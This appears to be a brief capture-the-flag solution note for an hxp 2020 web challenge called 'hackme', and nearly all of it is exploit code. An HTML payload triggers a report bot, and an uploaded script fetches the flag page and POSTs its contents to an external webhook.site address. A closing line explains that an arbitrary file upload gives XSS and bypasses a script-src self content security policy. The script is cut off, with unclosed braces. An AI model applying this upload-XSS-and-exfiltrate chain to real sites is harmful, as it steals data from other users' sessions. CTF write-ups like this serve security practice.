hackme-hxp20.txt

exploit.html:
<script src=/uploads/upload_something.js></script>
<img src=https://httpstat.us/200?sleep=10000>
<img src=http://168.119.224.64:8080/report?url=/s/the-flag>

upload_something:
setTimeout(function(){
fetch('/s/the-flag').then(r=>{r.text().then(w=>{

fetch('https://webhook.site/**?', {
    method: 'POST',
    headers: {'Content-Type':'application/x-www-form-urlencoded'},
    body: 'foo='+w
});

Upload arbitrary file to get XSS and bypass CSP with script-src self, download /s/the-flag to the local server fetch() and win